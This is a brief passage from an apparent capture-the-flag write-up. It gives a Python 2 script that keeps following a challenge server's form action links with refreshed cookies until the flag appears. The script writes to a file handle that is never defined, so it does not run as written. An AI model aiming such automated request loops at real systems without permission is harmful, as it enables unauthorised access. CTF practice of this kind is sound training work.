by following the action link and calling it with the new cookie, I got the flag```import requestsfrom bs4 import BeautifulSoup
r=requests.get("http://34.216.132.109:8083/fp/")html_doc=r.textcookies=r.cookiescount=0while True:	count+=1	print count,	soup = BeautifulSoup(html_doc, 'html.parser')	action = soup.find('form').get('action')	r2=requests.get("http://34.216.132.109:8083"+action,cookies=cookies)	cookies= r2.cookies	html_doc=r2.text	f.write(html_doc)	if "flag" in html_doc:		print html_doc```